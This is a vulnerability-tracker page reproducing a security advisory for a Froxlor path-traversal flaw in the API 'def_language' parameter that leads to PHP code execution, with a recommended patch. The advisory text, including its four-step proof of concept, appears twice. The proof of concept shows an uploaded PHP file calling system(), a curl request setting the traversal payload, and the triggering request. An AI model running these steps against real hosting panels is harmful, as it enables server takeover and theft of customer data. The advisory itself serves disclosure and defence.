Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.9
Froxlor API lets attackers run code on server
published 6 months ago
Summary
In Froxlor's customer and admin update API, the language setting can be changed without proper checks. A logged‑in user can supply a crafted file path that causes the system to load and execute any PHP file, giving them control of the web server. Update Froxlor to the latest version or apply the vendor's patch, and restrict API access to trusted accounts.
What to do
- Update froxlor froxlor/froxlor to version 2.3.6.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| Packagist | froxlor | froxlor/froxlor |
< 2.3.6 Fix: upgrade to 2.3.6
|
Original advisory text
Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
## Summary
The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.
## Details
**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.
The **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:
```php
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
```
The **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\r\n\t\f\0]*$/D`, which permits path traversal sequences:
```php
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
```
The tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:
**API path** (`ApiCommand.php:218-222`):
```php
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
```
**Web path** (`init.php:180-185`):
```php
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
```
The `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.
**File inclusion** (`Language.php:89-98`):
```php
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
```
With `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.
## PoC
**Step 1 — Upload malicious language file via FTP:**
Froxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).
```bash
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
```
The file is now at `/var/customers/webs/<loginname>/evil.lng.php`.
**Step 2 — Set traversal payload via API:**
```bash
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
```
The traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.
**Step 3 — Trigger inclusion on next API call:**
```bash
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
```
`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.
**Step 4 — Verify execution:**
```bash
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.
- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.
- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.
- **Data exfiltration:** Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
## Recommended Fix
Validate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:
```php
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
```
Apply the same fix in `Admins.php` at line 600.
Additionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:
```php
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}
```
The Froxlor API endpoint `Customers.update` (and `Admins.update`) does not validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload (e.g., `../../../../../var/customers/webs/customer1/evil`), which is stored in the database. On subsequent requests, `Language::loadLanguage()` constructs a file path using this value and executes it via `require`, achieving arbitrary PHP code execution as the web server user.
## Details
**Root cause:** The API and web UI have inconsistent validation for the `def_language` parameter.
The **web UI** (`customer_index.php:261`, `admin_index.php:265`) correctly validates `def_language` against `Language::getLanguages()`, which scans the `lng/` directory for actual language files:
```php
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
```
The **API** (`Customers.php:1207`, `Admins.php:600`) only runs `Validate::validate()` with the default regex `/^[^\r\n\t\f\0]*$/D`, which permits path traversal sequences:
```php
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
```
The tainted value is stored in the `panel_customers` (or `panel_admins`) table. On every subsequent request, it is loaded and used in two paths:
**API path** (`ApiCommand.php:218-222`):
```php
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
```
**Web path** (`init.php:180-185`):
```php
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
```
The `language` session field is `null` for API requests and empty on fresh web logins, so both paths fall through to the unvalidated `def_language`.
**File inclusion** (`Language.php:89-98`):
```php
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
```
With `$iso = '../../../../../var/customers/webs/customer1/evil'`, the path resolves to `/var/customers/webs/customer1/evil.lng.php`, escaping the `lng/` directory.
## PoC
**Step 1 — Upload malicious language file via FTP:**
Froxlor customers have FTP access to their web directory by default (`api_allowed` defaults to `1` in the schema).
```bash
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
```
The file is now at `/var/customers/webs/<loginname>/evil.lng.php`.
**Step 2 — Set traversal payload via API:**
```bash
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
```
The traversal path is stored in the database. The `.lng.php` suffix is appended automatically by `Language::loadLanguage()`.
**Step 3 — Trigger inclusion on next API call:**
```bash
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
```
`ApiCommand::initLang()` loads `def_language` from the database and passes it to `Language::setLanguage()` → `loadLanguage()` → `require /var/customers/webs/customer1/evil.lng.php`.
**Step 4 — Verify execution:**
```bash
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- **Full server compromise:** Read `lib/userdata.inc.php` to obtain database credentials, then access all customer data, admin credentials, and server configuration.
- **Lateral movement:** Access other customers' databases, email, and files from the shared hosting environment.
- **Persistent backdoor:** Modify Froxlor source files or cron configurations to maintain access.
- **Data exfiltration:** Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (`api_allowed` = 1). The `.lng.php` suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
## Recommended Fix
Validate `def_language` against the actual language file list in the API endpoints, matching the web UI behavior:
```php
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
```
Apply the same fix in `Admins.php` at line 600.
Additionally, add a defensive check in `Language::loadLanguage()` to prevent path traversal:
```php
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}
```
Internet-facing
14 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit (estimated)
- Gives an attacker full control (estimated)
Type
CWE-98Improper Control of Filename for Include
Timeline
Published16 Apr 2026
Updated16 Apr 2026
First seen16 Apr 2026
Sources
GHSA-w59f-67xm-rxx7 · OSV
Track software like this
Free during beta